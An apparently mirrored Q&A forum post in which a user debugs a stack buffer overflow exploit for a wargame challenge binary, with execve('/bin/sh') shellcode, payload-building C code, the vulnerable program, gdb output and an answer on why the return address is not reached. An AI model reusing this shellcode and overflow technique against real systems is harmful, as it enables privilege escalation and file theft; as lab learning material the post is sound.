简体   繁体   中英

buffer overflow doesn't reach eip

Hi i'm really stuck on this problem: here are my code and below the code i try to overflow:

#include <stdio.h>
#define B 145 // 141 for ex overflow
#define A 0

char sc[]=
        "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
        "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
void main()
{
        char *env[2] = {sc, NULL};
        char buf[B];
        int     i;
        int     *ap = (int*)(buf + A);
        int     ret = 0xbffffffa - strlen(sc) - strlen("/challenge/app-systeme/ch10/ch10");
        FILE    *file;

        for (i = 0; i < B - 4; i += 4)
        {
               if (i == 136)
                        *ap++ = 0xbffffc64;
                else if (i == 98)
                {
                        *ap++ = "/challenge/app-systeme/.passwd";//edx
                }
                else
                {
                        if (i >= 50)
                        *ap++ = 0x42424242;
                        else if (i < 50)
                        *ap++ = 0xbfffffb1;//0x45454545;
                }
        }

        file = fopen("/tmp/toto/COUCOU", "a+");
        fprintf(file, "%s%s", "USERNAME=", buf);
        fclose(file);

        printf("AAAAWESOME");
        execle("/challenge/app-systeme/ch10/ch10", "ch10", "/tmp/toto/COUCOU", NULL, env);
}

Vulnerable code:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFFER 512

struct Init
{
    char username[128];
    uid_t uid;
    pid_t pid;

};

void cpstr(char *dst, const char *src)
{
    for(; *src; src++, dst++)
    {
        *dst = *src;
    }
    *dst = 0;
}
void chomp(char *buff)
{
    for(; *buff; buff++)
    {
        if(*buff == '\n' || *buff == '\r' || *buff == '\t')
        {
           *buff = 0;
            break;
        }
    }
}
struct Init Init(char *filename)
{

    FILE *file;
    struct Init init;
    char buff[BUFFER+1];


    if((file = fopen(filename, "r")) == NULL)
    {
        perror("[-] fopen ");
        exit(0);
    }

    memset(&init, 0, sizeof(struct Init));

    init.pid = getpid();
    init.uid = getuid();

    while(fgets(buff, BUFFER, file) != NULL)
    {
        chomp(buff);
        if(strncmp(buff, "USERNAME=", 9) == 0)
        {
            cpstr(init.username, buff+9);
        }
    }
    fclose(file);
    return init;
}
int main(int argc, char **argv)
{
    struct Init init;
    if(argc != 2)
    {
        printf("Usage : %s <config_file>\n", argv[0]);
        exit(0);
    }
    init = Init(argv[1]);
    printf("[+] Runing the program with username %s, uid %d and pid %d.\n", init.username, init.uid, init.pid);

    return 0;
}

Indeed i can't reach eip as gdb usually shows a segfault happening into the loop:

esi is the first register crushed after the overflow but i still don't get what feed him.

It's a buffer size at this point, i can then even fill edi and edx, but still what for ?

Is eip still unreachable ?

Well typically :

gdb$ r
process 14534 is executing new program: /challenge/app-systeme/ch10/ch10

Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
  EAX: 0x00000000  EBX: 0xB7FCFFF4  ECX: 0x42424242  EDX: 0x42424242  o d I t s z a P c 
  ESI: 0xBFFFFC64  EDI: 0x000001FF  EBP: 0xBFFFFC64  ESP: 0xBFFFF8EC  EIP: 0xB7E9CD88                                     
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
--------------------------------------------------------------------------[code]
=> 0xb7e9cd88:  mov    ecx,DWORD PTR [edx+0x8]
   0xb7e9cd8b:  mov    edx,DWORD PTR [edx]
   0xb7e9cd8d:  cmp    eax,ecx
   0xb7e9cd8f:  cmovg  eax,ecx
   0xb7e9cd92:  test   edx,edx
   0xb7e9cd94:  jne    0xb7e9cd88
   0xb7e9cd96:  repz ret 
   0xb7e9cd98:  nop
--------------------------------------------------------------------------------
0xb7e9cd88 in ?? () from /lib/i386-linux-gnu/libc.so.6
gdb$ bt
#0  0xb7e9cd88 in ?? () from /lib/i386-linux-gnu/libc.so.6
#1  0xb7e9cdc4 in ?? () from /lib/i386-linux-gnu/libc.so.6
#2  0xb7e9d2e4 in __uflow () from /lib/i386-linux-gnu/libc.so.6
#3  0xb7e90d3a in _IO_getline_info () from /lib/i386-linux-gnu/libc.so.6
#4  0xb7e90c83 in _IO_getline () from /lib/i386-linux-gnu/libc.so.6
#5  0xb7e8fc20 in fgets () from /lib/i386-linux-gnu/libc.so.6
#6  0x08048685 in Init (filename=0xbfffffb1 "/tmp/toto/COUCOU") at binary10.c:56
#7  0x08048716 in main (argc=0x2, argv=0xbffffed4) at binary10.c:75

Well, it seems I forgot to mention the partial RELRO state of the binary.

Anymore light is welcome .

    (gdb) disas __uflow
    Dump of assembler code for function __uflow:
       0xb7e9d270 <+0>:     push   %esi
       0xb7e9d271 <+1>:     push   %ebx
  ...
       0xb7e9d37c <+268>:   lea    0x0(%esi,%eiz,1),%esi
    => 0xb7e9d380 <+272>:   movzbl (%edx),%eax
       0xb7e9d383 <+275>:   add    $0x1,%edx
 ...
       0xb7e9d3b3 <+323>:   call   0xb7e92ca0
       0xb7e9d3b8 <+328>:   jmp    0xb7e9d2b1 <__uflow+65>
    End of assembler dump.
    (gdb) x/i $eax
       0xb7e9c588 <_IO_file_overflow+424>:  add    %bh,-0x1(%eax)
    (gdb) vim ok
    Undefined command: "vim".  Try "help".
    (gdb) x/i $edx
       0x806c000:   Cannot access memory at address 0x806c000
    (gdb)

Something can detect the overflow ?

Well, this is resolved. But trust me i don't have a clue of what i've done, and if anybody could teach us all a lesson he'd be Welcome.

I didn't analyze it in detail, but it seems you are not overflowing init in main() , you are overflowing init in Init() , but its proving resilient to overflow because theres a 513 bytes buffer reserved right after it, spacing you from the sensitive call stack information you want to attack.

Once Init() returns this struct to main() through a copy operation, only sizeof(struct Init) bytes are copied, so its not cascading the vulnerability to the function that you want to attack.

I believe if you want to trigger the vulnerability without interference of any of this, you should overwrite main() 's init directly, by passing it to Init() as a pointer, like void Init(char *filename, struct Init *init) .

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM